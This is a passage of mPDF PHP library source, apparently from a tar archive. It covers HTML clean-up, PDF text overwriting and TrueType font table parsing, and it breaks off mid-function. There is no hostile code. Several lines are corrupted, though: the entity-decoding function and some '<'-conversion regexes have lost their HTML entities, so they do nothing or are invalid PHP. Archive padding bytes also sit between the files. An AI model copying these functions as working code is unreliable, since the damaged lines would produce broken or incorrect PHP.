.= '<span lang="ur" class="lang_ur">' . $s . '</span>'; } elseif (preg_match("/[" . $this->scriptToLanguage->getLanguageDelimiters('pashto') . "]/u", $s)) { $o .= '<span lang="ps" class="lang_ps">' . $s . '</span>'; } elseif (preg_match("/[" . $this->scriptToLanguage->getLanguageDelimiters('persian') . "]/u", $s)) { $o .= '<span lang="fa" class="lang_fa">' . $s . '</span>'; } elseif ($this->baseScript != Ucdn::SCRIPT_ARABIC && $this->scriptToLanguage->getLanguageByScript($scriptblocks[$sch])) { $o .= '<span lang="' . $this->scriptToLanguage->getLanguageByScript($scriptblocks[$sch]) . '" class="lang_' . $this->scriptToLanguage->getLanguageByScript($scriptblocks[$sch]) . '">' . $s . '</span>'; } else { // Just output chars $o .= $s; } } elseif ($scriptblocks[$sch] > 0 && $scriptblocks[$sch] != $this->baseScript && $this->scriptToLanguage->getLanguageByScript($scriptblocks[$sch])) { // Identify Script block if not Basescript, and mark up as language // Encase in <span> $o .= '<span lang="' . $this->scriptToLanguage->getLanguageByScript($scriptblocks[$sch]) . '" class="lang_' . $this->scriptToLanguage->getLanguageByScript($scriptblocks[$sch]) . '">'; $o .= $s; $o .= '</span>'; } else { // Just output chars $o .= $s; } } } $a[$i] = $o; } else { $a[$i] = '<' . $e . '>'; } } $n = implode('', $a); return $n; } /* -- COLUMNS -- */ /** * Callback function from function printcolumnbuffer in mpdf */ function columnAdjustAdd($type, $k, $xadj, $yadj, $a, $b, $c = 0, $d = 0, $e = 0, $f = 0) { if ($type === 'Td') { // xpos,ypos $a += ($xadj * $k); $b -= ($yadj * $k); return 'BT ' . sprintf('%.3F %.3F', $a, $b) . ' Td'; } elseif ($type === 're') { // xpos,ypos,width,height $a += ($xadj * $k); $b -= ($yadj * $k); return sprintf('%.3F %.3F %.3F %.3F', $a, $b, $c, $d) . ' re'; } elseif ($type === 'l') { // xpos,ypos,x2pos,y2pos $a += ($xadj * $k); $b -= ($yadj * $k); return sprintf('%.3F %.3F l', $a, $b); } elseif ($type === 'img') { // width,height,xpos,ypos $c += ($xadj * $k); $d -= ($yadj * $k); return sprintf('q %.3F 0 0 %.3F %.3F %.3F', $a, $b, $c, $d) . ' cm /' . $e; } elseif ($type === 'draw') { // xpos,ypos $a += ($xadj * $k); $b -= ($yadj * $k); return sprintf('%.3F %.3F m', $a, $b); } elseif ($type === 'bezier') { // xpos,ypos,x2pos,y2pos,x3pos,y3pos $a += ($xadj * $k); $b -= ($yadj * $k); $c += ($xadj * $k); $d -= ($yadj * $k); $e += ($xadj * $k); $f -= ($yadj * $k); return sprintf('%.3F %.3F %.3F %.3F %.3F %.3F', $a, $b, $c, $d, $e, $f) . ' c'; } } /* -- END COLUMNS -- */ // mPDF 5.7.3 TRANSFORMS function ConvertAngle($s, $makepositive = true) { if (preg_match('/([\-]*[0-9\.]+)(deg|grad|rad)/i', $s, $m)) { $angle = $m[1] + 0; if (strtolower($m[2]) == 'deg') { $angle = $angle; } elseif (strtolower($m[2]) == 'grad') { $angle *= (360 / 400); } elseif (strtolower($m[2]) == 'rad') { $angle = rad2deg($angle); } while ($angle >= 360) { $angle -= 360; } while ($angle <= -360) { $angle += 360; } if ($makepositive) { // always returns an angle between 0 and 360deg if ($angle < 0) { $angle += 360; } } } else { $angle = $s + 0; } return $angle; } function lesser_entity_decode($html) { // supports the most used entity codes (only does ascii safe characters) $html = str_replace("<", "<", $html); $html = str_replace(">", ">", $html); $html = str_replace("'", "'", $html); $html = str_replace(""", '"', $html); $html = str_replace("&", "&", $html); return $html; } function AdjustHTML($html, $tabSpaces = 8) { $limit = ini_get('pcre.backtrack_limit'); if (strlen($html) > $limit) { throw new \Mpdf\MpdfException(sprintf( 'The HTML code size is larger than pcre.backtrack_limit %d. You should use WriteHTML() with smaller string lengths.', $limit )); } preg_match_all("/(<annotation.*?>)/si", $html, $m); if (count($m[1])) { for ($i = 0; $i < count($m[1]); $i++) { $sub = preg_replace("/\n/si", "\xbb\xa4\xac", $m[1][$i]); $html = preg_replace('/' . preg_quote($m[1][$i], '/') . '/si', $sub, $html); } } preg_match_all("/(<svg.*?<\/svg>)/si", $html, $svgi); if (count($svgi[0])) { for ($i = 0; $i < count($svgi[0]); $i++) { $file = $this->cache->write('/_tempSVG' . uniqid(random_int(1, 100000), true) . '_' . $i . '.svg', $svgi[0][$i]); $html = str_replace($svgi[0][$i], '<img src="' . $file . '" />', $html); } } // Remove javascript code from HTML (should not appear in the PDF file) $html = preg_replace('/<script.*?<\/script>/is', '', $html); // Remove special comments $html = preg_replace('/<!--mpdf/i', '', $html); $html = preg_replace('/mpdf-->/i', '', $html); // Remove comments from HTML (should not appear in the PDF file) $html = preg_replace('/<!--.*?-->/s', '', $html); $html = preg_replace('/\f/', '', $html); // replace formfeed by nothing $html = preg_replace('/\r/', '', $html); // replace carriage return by nothing // Well formed XHTML end tags $html = preg_replace('/<(br|hr)>/i', "<\\1 />", $html); // mPDF 6 $html = preg_replace('/<(br|hr)\/>/i', "<\\1 />", $html); // Get rid of empty <thead></thead> etc $html = preg_replace('/<tr>\s*<\/tr>/i', '', $html); $html = preg_replace('/<thead>\s*<\/thead>/i', '', $html); $html = preg_replace('/<tfoot>\s*<\/tfoot>/i', '', $html); $html = preg_replace('/<table[^>]*>\s*<\/table>/i', '', $html); // Remove spaces at end of table cells $html = preg_replace("/[ \n\r]+<\/t(d|h)/", '</t\\1', $html); $html = preg_replace("/[ ]*<dottab\s*[\/]*>[ ]*/", '<dottab />', $html); // Concatenates any Substitute characters from symbols/dingbats $html = str_replace('</tts><tts>', '|', $html); $html = str_replace('</ttz><ttz>', '|', $html); $html = str_replace('</tta><tta>', '|', $html); $html = preg_replace('/<br \/>\s*/is', "<br />", $html); $html = preg_replace('/<wbr[ \/]*>\s*/is', "­", $html); // Preserve '\n's in content between the tags <pre> and </pre> if (preg_match('/<pre/', $html)) { $html_a = preg_split('/(\<\/?pre[^\>]*\>)/', $html, -1, 2); $h = []; $c = 0; foreach ($html_a as $s) { if ($c > 1 && preg_match('/^<\/pre/i', $s)) { $c--; $s = preg_replace('/<\/pre/i', '</innerpre', $s); } elseif ($c > 0 && preg_match('/^<pre/i', $s)) { $c++; $s = preg_replace('/<pre/i', '<innerpre', $s); } elseif (preg_match('/^<pre/i', $s)) { $c++; } elseif (preg_match('/^<\/pre/i', $s)) { $c--; } array_push($h, $s); } $html = implode('', $h); } $thereispre = preg_match_all('#<pre(.*?)>(.*?)</pre>#si', $html, $temp); // Preserve '\n's in content between the tags <textarea> and </textarea> $thereistextarea = preg_match_all('#<textarea(.*?)>(.*?)</textarea>#si', $html, $temp2); $html = preg_replace('/[\n]/', ' ', $html); // replace linefeed by spaces $html = preg_replace('/[\t]/', ' ', $html); // replace tabs by spaces // Converts < to < when not a tag $html = preg_replace('/<([^!\/a-zA-Z_:])/i', '<\\1', $html); // mPDF 5.7.3 $html = preg_replace("/[ ]+/", ' ', $html); $html = preg_replace('/\/li>\s+<\/(u|o)l/i', '/li></\\1l', $html); $html = preg_replace('/\/(u|o)l>\s+<\/li/i', '/\\1l></li', $html); $html = preg_replace('/\/li>\s+<\/(u|o)l/i', '/li></\\1l', $html); $html = preg_replace('/\/li>\s+<li/i', '/li><li', $html); $html = preg_replace('/<(u|o)l([^>]*)>[ ]+/i', '<\\1l\\2>', $html); $html = preg_replace('/[ ]+<(u|o)l/i', '<\\1l', $html); // Make self closing tabs valid XHTML // Tags which are self-closing: 1) Replaceable and 2) Non-replaced items $selftabs = 'input|hr|img|br|barcode|dottab'; $selftabs2 = 'indexentry|indexinsert|bookmark|watermarktext|watermarkimage|column_break|columnbreak|newcolumn|newpage|page_break|pagebreak|formfeed|columns|toc|tocpagebreak|setpageheader|setpagefooter|sethtmlpageheader|sethtmlpagefooter|annotation'; // Fix self-closing tags which don't close themselves $html = preg_replace('/(<(' . $selftabs . '|' . $selftabs2 . ')[^>\/]*)>/i', '\\1 />', $html); // Fix self-closing tags that don't include a space between the tag name and the closing slash $html = preg_replace('/(<(' . $selftabs . '|' . $selftabs2 . '))\/>/i', '\\1 />', $html); $iterator = 0; while ($thereispre) { // Recover <pre attributes>content</pre> $temp[2][$iterator] = preg_replace('/<([^!\/a-zA-Z_:])/', '<\\1', $temp[2][$iterator]); // mPDF 5.7.2 // mPDF 5.7.3 $temp[2][$iterator] = preg_replace_callback("/^([^\n\t]*?)\t/m", [$this, 'tabs2spaces_callback'], $temp[2][$iterator]); // mPDF 5.7+ $temp[2][$iterator] = preg_replace('/\t/', str_repeat(" ", $tabSpaces), $temp[2][$iterator]); $temp[2][$iterator] = preg_replace('/\n/', "<br />", $temp[2][$iterator]); $temp[2][$iterator] = str_replace('\\', "\\\\", $temp[2][$iterator]); // $html = preg_replace('#<pre(.*?)>(.*?)</pre>#si','<erp'.$temp[1][$iterator].'>'.$temp[2][$iterator].'</erp>',$html,1); $html = preg_replace('#<pre(.*?)>(.*?)</pre>#si', '<erp' . $temp[1][$iterator] . '>' . str_replace('$', '\$', $temp[2][$iterator]) . '</erp>', $html, 1); // mPDF 5.7+ $thereispre--; $iterator++; } $iterator = 0; while ($thereistextarea) { // Recover <textarea attributes>content</textarea> $temp2[2][$iterator] = preg_replace('/\t/', str_repeat(" ", $tabSpaces), $temp2[2][$iterator]); $temp2[2][$iterator] = str_replace('\\', "\\\\", $temp2[2][$iterator]); $html = preg_replace('#<textarea(.*?)>(.*?)</textarea>#si', '<aeratxet' . $temp2[1][$iterator] . '>' . trim($temp2[2][$iterator]) . '</aeratxet>', $html, 1); $thereistextarea--; $iterator++; } // Restore original tag names $html = str_replace("<erp", "<pre", $html); $html = str_replace("</erp>", "</pre>", $html); $html = str_replace("<aeratxet", "<textarea", $html); $html = str_replace("</aeratxet>", "</textarea>", $html); $html = str_replace("</innerpre", "</pre", $html); $html = str_replace("<innerpre", "<pre", $html); $html = preg_replace('/<textarea([^>]*)><\/textarea>/si', '<textarea\\1> </textarea>', $html); $html = preg_replace('/(<table[^>]*>)\s*(<caption)(.*?<\/caption>)(.*?<\/table>)/si', '\\2 position="top"\\3\\1\\4\\2 position="bottom"\\3', $html); // *TABLES* $html = preg_replace('/<(h[1-6])([^>]*)(>(?:(?!h[1-6]).)*?<\/\\1>\s*<table)/si', '<\\1\\2 keep-with-table="1"\\3', $html); // *TABLES* $html = preg_replace("/\xbb\xa4\xac/", "\n", $html); // Fixes <p>₹</p> which browser copes with even though it is wrong! $html = preg_replace("/(&#[x]{0,1}[0-9a-f]{1,5})</i", "\\1;<", $html); return $html; } // mPDF 5.7+ function tabs2spaces_callback($matches) { return (stripslashes($matches[1]) . str_repeat(' ', $this->tabSpaces - (mb_strlen(stripslashes($matches[1])) % $this->tabSpaces))); } // mPDF 5.7+ function date_callback($matches) { return date($matches[1]); } // ========== OVERWRITE SEARCH STRING IN A PDF FILE ================ function OverWrite($file_in, $search, $replacement, $dest = Destination::DOWNLOAD, $file_out = "mpdf") { $pdf = file_get_contents($file_in); if (!is_array($search)) { $x = $search; $search = [$x]; } if (!is_array($replacement)) { $x = $replacement; $replacement = [$x]; // mPDF 5.7.4 } if (!$this->onlyCoreFonts && !$this->usingCoreFont) { foreach ($search as $k => $val) { $search[$k] = $this->writer->utf8ToUtf16BigEndian($search[$k], false); $search[$k] = $this->writer->escape($search[$k]); $replacement[$k] = $this->writer->utf8ToUtf16BigEndian($replacement[$k], false); $replacement[$k] = $this->writer->escape($replacement[$k]); } } else { foreach ($replacement as $k => $val) { $replacement[$k] = mb_convert_encoding($replacement[$k], $this->mb_enc, 'utf-8'); $replacement[$k] = $this->writer->escape($replacement[$k]); } } // Get xref into array $xref = []; preg_match("/xref\n0 (\d+)\n(.*?)\ntrailer/s", $pdf, $m); $xref_objid = $m[1]; preg_match_all('/(\d{10}) (\d{5}) (f|n)/', $m[2], $x); for ($i = 0; $i < count($x[0]); $i++) { $xref[] = [intval($x[1][$i]), $x[2][$i], $x[3][$i]]; } $changes = []; preg_match("/<<\s*\/Type\s*\/Pages\s*\/Kids\s*\[(.*?)\]\s*\/Count/s", $pdf, $m); preg_match_all("/(\d+) 0 R /s", $m[1], $o); $objlist = $o[1]; foreach ($objlist as $obj) { if ($this->compress) { preg_match("/" . ($obj + 1) . " 0 obj\n<<\s*\/Filter\s*\/FlateDecode\s*\/Length (\d+)>>\nstream\n(.*?)\nendstream\n/s", $pdf, $m); } else { preg_match("/" . ($obj + 1) . " 0 obj\n<<\s*\/Length (\d+)>>\nstream\n(.*?)\nendstream\n/s", $pdf, $m); } $s = $m[2]; if (!$s) { continue; } $oldlen = $m[1]; if ($this->encrypted) { $s = $this->protection->rc4($this->protection->objectKey($obj + 1), $s); } if ($this->compress) { $s = gzuncompress($s); } foreach ($search as $k => $val) { $s = str_replace($search[$k], $replacement[$k], $s); } if ($this->compress) { $s = gzcompress($s); } if ($this->encrypted) { $s = $this->protection->rc4($this->protection->objectKey($obj + 1), $s); } $newlen = strlen($s); $changes[($xref[$obj + 1][0])] = ($newlen - $oldlen) + (strlen($newlen) - strlen($oldlen)); if ($this->compress) { $newstr = ($obj + 1) . " 0 obj\n<</Filter /FlateDecode /Length " . $newlen . ">>\nstream\n" . $s . "\nendstream\n"; } else { $newstr = ($obj + 1) . " 0 obj\n<</Length " . $newlen . ">>\nstream\n" . $s . "\nendstream\n"; } $pdf = str_replace($m[0], $newstr, $pdf); } // Update xref in PDF krsort($changes); $newxref = "xref\n0 " . $xref_objid . "\n"; foreach ($xref as $v) { foreach ($changes as $ck => $cv) { if ($v[0] > $ck) { $v[0] += $cv; } } $newxref .= sprintf('%010d', $v[0]) . ' ' . $v[1] . ' ' . $v[2] . " \n"; } $newxref .= "trailer"; $pdf = preg_replace("/xref\n0 \d+\n.*?\ntrailer/s", $newxref, $pdf); // Update startxref in PDF preg_match("/startxref\n(\d+)\n%%EOF/s", $pdf, $m); $startxref = $m[1]; $startxref += array_sum($changes); $pdf = preg_replace("/startxref\n(\d+)\n%%EOF/s", "startxref\n" . $startxref . "\n%%EOF", $pdf); // OUTPUT switch ($dest) { case Destination::INLINE: if (isset($_SERVER['SERVER_NAME'])) { // We send to a browser header('Content-Type: application/pdf'); header('Content-Length: ' . strlen($pdf)); header('Content-disposition: inline; filename=' . $file_out); } echo $pdf; break; case Destination::FILE: if (!$file_out) { $file_out = 'mpdf.pdf'; } $f = fopen($file_out, 'wb'); if (!$f) { throw new \Mpdf\MpdfException('Unable to create output file: ' . $file_out); } fwrite($f, $pdf, strlen($pdf)); fclose($f); break; case Destination::STRING_RETURN: return $pdf; case Destination::DOWNLOAD: // Download file default: if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) { header('Content-Type: application/force-download'); } else { header('Content-Type: application/octet-stream'); } header('Content-Length: ' . strlen($pdf)); header('Content-disposition: attachment; filename=' . $file_out); echo $pdf; break; } } function Thumbnail($file, $npr = 3, $spacing = 10) { // $npr = number per row $w = (($this->pgwidth + $spacing) / $npr) - $spacing; $oldlinewidth = $this->LineWidth; $this->SetLineWidth(0.02); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $h = 0; $maxh = 0; $x = $_x = $this->lMargin; $_y = $this->tMargin; if ($this->y == 0) { $y = $_y; } else { $y = $this->y; } $pagecount = $this->setSourceFile($file); for ($n = 1; $n <= $pagecount; $n++) { $tplidx = $this->importPage($n); $size = $this->useTemplate($tplidx, $x, $y, $w); $this->Rect($x, $y, $size['width'], $size['height']); $h = max($h, $size['height']); $maxh = max($h, $maxh); if ($n % $npr == 0) { if (($y + $h + $spacing + $maxh) > $this->PageBreakTrigger && $n != $pagecount) { $this->AddPage(); $x = $_x; $y = $_y; } else { $y += $h + $spacing; $x = $_x; $h = 0; } } else { $x += $w + $spacing; } } $this->SetLineWidth($oldlinewidth); } function SetPageTemplate($tplidx = '') { if (!isset($this->importedPages[$tplidx])) { $this->pageTemplate = ''; return false; } $this->pageTemplate = $tplidx; } function SetDocTemplate($file = '', $continue = 0) { $this->docTemplate = $file; $this->docTemplateContinue = $continue; } /* -- END IMPORTS -- */ // JAVASCRIPT function _set_object_javascript($string) { $this->writer->object(); $this->writer->write('<<'); $this->writer->write('/S /JavaScript '); $this->writer->write('/JS ' . $this->writer->string($string)); $this->writer->write('>>'); $this->writer->write('endobj'); } function SetJS($script) { $this->js = $script; } /** * This function takes the last comma or dot (if any) to make a clean float, ignoring thousand separator, currency or any other letter * * @param string $num * @see http://php.net/manual/de/function.floatval.php#114486 * @return float */ public function toFloat($num) { $dotPos = strrpos($num, '.'); $commaPos = strrpos($num, ','); $sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos : ((($commaPos > $dotPos) && $commaPos) ? $commaPos : false); if (!$sep) { return floatval(preg_replace('/[^0-9]/', '', $num)); } return floatval( preg_replace('/[^0-9]/', '', substr($num, 0, $sep)) . '.' . preg_replace('/[^0-9]/', '', substr($num, $sep+1, strlen($num))) ); } public function getFontDescriptor() { return $this->fontDescriptor; } /** * Temporarily return the method to preserve example 44 yearbook */ public function _out($s) { $this->writer->write($s); } } �����������������������������������������������������vendor/mpdf/mpdf/src/OtlDump.php��������������������������������������������������������������������0000644�����������������00000505037�14760002214�0012607 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; // Define the value used in the "head" table of a created TTF file // 0x74727565 "true" for Mac // 0x00010000 for Windows // Either seems to work for a font embedded in a PDF file // when read by Adobe Reader on a Windows PC(!) use Mpdf\Fonts\GlyphOperator; if (!defined('_TTF_MAC_HEADER')) { define("_TTF_MAC_HEADER", false); } // Recalculate correct metadata/profiles when making subset fonts (not SIP/SMP) // e.g. xMin, xMax, maxNContours if (!defined('_RECALC_PROFILE')) { define("_RECALC_PROFILE", false); } // mPDF 5.7.1 if (!function_exists('Mpdf\unicode_hex')) { function unicode_hex($unicode_dec) { return (sprintf("%05s", strtoupper(dechex($unicode_dec)))); } } class OtlDump { var $GPOSFeatures; // mPDF 5.7.1 var $GPOSLookups; // mPDF 5.7.1 var $GPOSScriptLang; // mPDF 5.7.1 var $ignoreStrings; // mPDF 5.7.1 var $MarkAttachmentType; // mPDF 5.7.1 var $MarkGlyphSets; // mPDF 7.5.1 var $GlyphClassMarks; // mPDF 5.7.1 var $GlyphClassLigatures; // mPDF 5.7.1 var $GlyphClassBases; // mPDF 5.7.1 var $GlyphClassComponents; // mPDF 5.7.1 var $GSUBScriptLang; // mPDF 5.7.1 var $rtlPUAstr; // mPDF 5.7.1 var $rtlPUAarr; // mPDF 5.7.1 var $fontkey; // mPDF 5.7.1 var $useOTL; // mPDF 5.7.1 var $panose; var $maxUni; var $sFamilyClass; var $sFamilySubClass; var $sipset; var $smpset; var $_pos; var $numTables; var $searchRange; var $entrySelector; var $rangeShift; var $tables; var $otables; var $filename; var $fh; var $glyphPos; var $charToGlyph; var $ascent; var $descent; var $name; var $familyName; var $styleName; var $fullName; var $uniqueFontID; var $unitsPerEm; var $bbox; var $capHeight; var $stemV; var $italicAngle; var $flags; var $underlinePosition; var $underlineThickness; var $charWidths; var $defaultWidth; var $maxStrLenRead; var $numTTCFonts; var $TTCFonts; var $maxUniChar; var $kerninfo; var $mode; var $glyphToChar; var $fontRevision; var $glyphdata; var $glyphIDtoUn; var $restrictedUse; var $GSUBFeatures; var $GSUBLookups; var $glyphIDtoUni; var $GSLuCoverage; var $version; private $mpdf; public function __construct(Mpdf $mpdf) { $this->mpdf = $mpdf; $this->maxStrLenRead = 200000; // Maximum size of glyf table to read in as string (otherwise reads each glyph from file) } function getMetrics($file, $fontkey, $TTCfontID = 0, $debug = false, $BMPonly = false, $kerninfo = false, $useOTL = 0, $mode = null) { // mPDF 5.7.1 $this->mode = $mode; $this->useOTL = $useOTL; // mPDF 5.7.1 $this->fontkey = $fontkey; // mPDF 5.7.1 $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open file "%s"', $file)); } $this->_pos = 0; $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->otables = []; $this->kerninfo = []; $this->ascent = 0; $this->descent = 0; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->version = $version = $this->read_ulong(); $this->panose = []; if ($version == 0x4F54544F) { throw new \Mpdf\MpdfException("Postscript outlines are not supported"); } if ($version == 0x74746366 && !$TTCfontID) { throw new \Mpdf\MpdfException("TTCfontID for a TrueType Collection has to be defined in ttfontdata configuration key (" . $file . ")"); } if (!in_array($version, [0x00010000, 0x74727565]) && !$TTCfontID) { throw new \Mpdf\MpdfException("Not a TrueType font: version=" . $version); } if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000])) { throw new \Mpdf\MpdfException("Error parsing TrueType Collection: version=" . $version . " - " . $file); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now } $this->readTableDirectory($debug); $this->extractInfo($debug, $BMPonly, $kerninfo, $useOTL); fclose($this->fh); } function readTableDirectory($debug = false) { $this->numTables = $this->read_ushort(); $this->searchRange = $this->read_ushort(); $this->entrySelector = $this->read_ushort(); $this->rangeShift = $this->read_ushort(); $this->tables = []; for ($i = 0; $i < $this->numTables; $i++) { $record = []; $record['tag'] = $this->read_tag(); $record['checksum'] = [$this->read_ushort(), $this->read_ushort()]; $record['offset'] = $this->read_ulong(); $record['length'] = $this->read_ulong(); $this->tables[$record['tag']] = $record; } if ($debug) { $this->checksumTables(); } } function checksumTables() { // Check the checksums for all tables foreach ($this->tables as $t) { if ($t['length'] > 0 && $t['length'] < $this->maxStrLenRead) { // 1.02 $table = $this->get_chunk($t['offset'], $t['length']); $checksum = $this->calcChecksum($table); if ($t['tag'] == 'head') { $up = unpack('n*', substr($table, 8, 4)); $adjustment[0] = $up[1]; $adjustment[1] = $up[2]; $checksum = $this->sub32($checksum, $adjustment); } $xchecksum = $t['checksum']; if ($xchecksum != $checksum) { throw new \Mpdf\MpdfException(sprintf('TTF file "%s": invalid checksum %s table: %s (expected %s)', $this->filename, dechex($checksum[0]) . dechex($checksum[1]), $t['tag'], dechex($xchecksum[0]) . dechex($xchecksum[1]))); } } } } function sub32($x, $y) { $xlo = $x[1]; $xhi = $x[0]; $ylo = $y[1]; $yhi = $y[0]; if ($ylo > $xlo) { $xlo += 1 << 16; $yhi += 1; } $reslo = $xlo - $ylo; if ($yhi > $xhi) { $xhi += 1 << 16; } $reshi = $xhi - $yhi; $reshi = $reshi & 0xFFFF; return [$reshi, $reslo]; } function calcChecksum($data) { if (strlen($data) % 4) { $data .= str_repeat("\0", (4 - (strlen($data) % 4))); } $len = strlen($data); $hi = 0x0000; $lo = 0x0000; for ($i = 0; $i < $len; $i += 4) { $hi += (ord($data[$i]) << 8) + ord($data[$i + 1]); $lo += (ord($data[$i + 2]) << 8) + ord($data[$i + 3]); $hi += ($lo >> 16) & 0xFFFF; $lo = $lo & 0xFFFF; } return [$hi, $lo]; } function get_table_pos($tag) { $offset = isset($this->tables[$tag]['offset']) ? $this->tables[$tag]['offset'] : null; $length = isset($this->tables[$tag]['length']) ? $this->tables[$tag]['length'] : null; return [$offset, $length]; } function seek($pos) { $this->_pos = $pos; fseek($this->fh, $this->_pos); } function skip($delta) { $this->_pos = $this->_pos + $delta; fseek($this->fh, $delta, SEEK_CUR); } function seek_table($tag, $offset_in_table = 0) { $tpos = $this->get_table_pos($tag); $this->_pos = $tpos[0] + $offset_in_table; fseek($this->fh, $this->_pos); return $this->_pos; } function read_tag() { $this->_pos += 4; return fread($this->fh, 4); } function read_short() { $this->_pos += 2; $s = fread($this->fh, 2); $a = (ord($s[0]) << 8) + ord($s[1]); if ($a & (1 << 15)) { $a = ($a - (1 << 16)); } return $a; } function unpack_short($s) { $a = (ord($s[0]) << 8) + ord($s[1]); if ($a & (1 << 15)) { $a = ($a - (1 << 16)); } return $a; } function read_ushort() { $this->_pos += 2; $s = fread($this->fh, 2); return (ord($s[0]) << 8) + ord($s[1]); } function read_ulong() { $this->_pos += 4; $s = fread($this->fh, 4); // if large uInt32 as an integer, PHP converts it to -ve return (ord($s[0]) * 16777216) + (ord($s[1]) << 16) + (ord($s[2]) << 8) + ord($s[3]); // 16777216 = 1<<24 } function get_ushort($pos) { fseek($this->fh, $pos); $s = fread($this->fh, 2); return (ord($s[0]) << 8) + ord($s[1]); } function get_ulong($pos) { fseek($this->fh, $pos); $s = fread($this->fh, 4); // iF large uInt32 as an integer, PHP converts it to -ve return (ord($s[0]) * 16777216) + (ord($s[1]) << 16) + (ord($s[2]) << 8) + ord($s[3]); // 16777216 = 1<<24 } function pack_short($val) { if ($val < 0) { $val = abs($val); $val = ~$val; $val += 1; } return pack("n", $val); } function splice($stream, $offset, $value) { return substr($stream, 0, $offset) . $value . substr($stream, $offset + strlen($value)); } function _set_ushort($stream, $offset, $value) { $up = pack("n", $value); return $this->splice($stream, $offset, $up); } function _set_short($stream, $offset, $val) { if ($val < 0) { $val = abs($val); $val = ~$val; $val += 1; } $up = pack("n", $val); return $this->splice($stream, $offset, $up); } function get_chunk($pos, $length) { fseek($this->fh, $pos); if ($length < 1) { return ''; } return (fread($this->fh, $length)); } function get_table($tag) { list($pos, $length) = $this->get_table_pos($tag); if ($length == 0) { return ''; } fseek($this->fh, $pos); return (fread($this->fh, $length)); } function add($tag, $data) { if ($tag == 'head') { $data = $this->splice($data, 8, "\0\0\0\0"); } $this->otables[$tag] = $data; } ///////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////// function extractInfo($debug = false, $BMPonly = false, $kerninfo = false, $useOTL = 0) { $this->panose = []; $this->sFamilyClass = 0; $this->sFamilySubClass = 0; /////////////////////////////////// // name - Naming table /////////////////////////////////// $name_offset = $this->seek_table("name"); $format = $this->read_ushort(); if ($format != 0 && $format != 1) { throw new \Mpdf\MpdfException("Unknown name table format " . $format); } $numRecords = $this->read_ushort(); $string_data_offset = $name_offset + $this->read_ushort(); $names = [1 => '', 2 => '', 3 => '', 4 => '', 6 => '']; $K = array_keys($names); $nameCount = count($names); for ($i = 0; $i < $numRecords; $i++) { $platformId = $this->read_ushort(); $encodingId = $this->read_ushort(); $languageId = $this->read_ushort(); $nameId = $this->read_ushort(); $length = $this->read_ushort(); $offset = $this->read_ushort(); if (!in_array($nameId, $K)) { continue; } $N = ''; if ($platformId == 3 && $encodingId == 1 && $languageId == 0x409) { // Microsoft, Unicode, US English, PS Name $opos = $this->_pos; $this->seek($string_data_offset + $offset); if ($length % 2 != 0) { throw new \Mpdf\MpdfException("PostScript name is UTF-16BE string of odd length"); } $length /= 2; $N = ''; while ($length > 0) { $char = $this->read_ushort(); $N .= (chr($char)); $length -= 1; } $this->_pos = $opos; $this->seek($opos); } else { if ($platformId == 1 && $encodingId == 0 && $languageId == 0) { // Macintosh, Roman, English, PS Name $opos = $this->_pos; $N = $this->get_chunk($string_data_offset + $offset, $length); $this->_pos = $opos; $this->seek($opos); } } if ($N && $names[$nameId] == '') { $names[$nameId] = $N; $nameCount -= 1; if ($nameCount == 0) { break; } } } if ($names[6]) { $psName = $names[6]; } else { if ($names[4]) { $psName = preg_replace('/ /', '-', $names[4]); } else { if ($names[1]) { $psName = preg_replace('/ /', '-', $names[1]); } else { $psName = ''; } } } if (!$psName) { throw new \Mpdf\MpdfException("Could not find PostScript font name: " . $this->filename); } if ($debug) { for ($i = 0; $i < count($psName); $i++) { $c = $psName[$i]; $oc = ord($c); if ($oc > 126 || strpos(' [](){}<>/%', $c) !== false) { throw new \Mpdf\MpdfException("psName=" . $psName . " contains invalid character " . $c . " ie U+" . ord(c)); } } } $this->name = $psName; if ($names[1]) { $this->familyName = $names[1]; } else { $this->familyName = $psName; } if ($names[2]) { $this->styleName = $names[2]; } else { $this->styleName = 'Regular'; } if ($names[4]) { $this->fullName = $names[4]; } else { $this->fullName = $psName; } if ($names[3]) { $this->uniqueFontID = $names[3]; } else { $this->uniqueFontID = $psName; } if ($names[6]) { $this->fullName = $names[6]; } /////////////////////////////////// // head - Font header table /////////////////////////////////// $this->seek_table("head"); if ($debug) { $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException('Unknown head table version ' . $ver_maj . '.' . $ver_min); } $this->fontRevision = $this->read_ushort() . $this->read_ushort(); $this->skip(4); $magic = $this->read_ulong(); if ($magic != 0x5F0F3CF5) { throw new \Mpdf\MpdfException('Invalid head table magic ' . $magic); } $this->skip(2); } else { $this->skip(18); } $this->unitsPerEm = $unitsPerEm = $this->read_ushort(); $scale = 1000 / $unitsPerEm; $this->skip(16); $xMin = $this->read_short(); $yMin = $this->read_short(); $xMax = $this->read_short(); $yMax = $this->read_short(); $this->bbox = [($xMin * $scale), ($yMin * $scale), ($xMax * $scale), ($yMax * $scale)]; $this->skip(3 * 2); $indexToLocFormat = $this->read_ushort(); $glyphDataFormat = $this->read_ushort(); if ($glyphDataFormat != 0) { throw new \Mpdf\MpdfException('Unknown glyph data format ' . $glyphDataFormat); } /////////////////////////////////// // hhea metrics table /////////////////////////////////// // ttf2t1 seems to use this value rather than the one in OS/2 - so put in for compatibility if (isset($this->tables["hhea"])) { $this->seek_table("hhea"); $this->skip(4); $hheaAscender = $this->read_short(); $hheaDescender = $this->read_short(); $this->ascent = ($hheaAscender * $scale); $this->descent = ($hheaDescender * $scale); } /////////////////////////////////// // OS/2 - OS/2 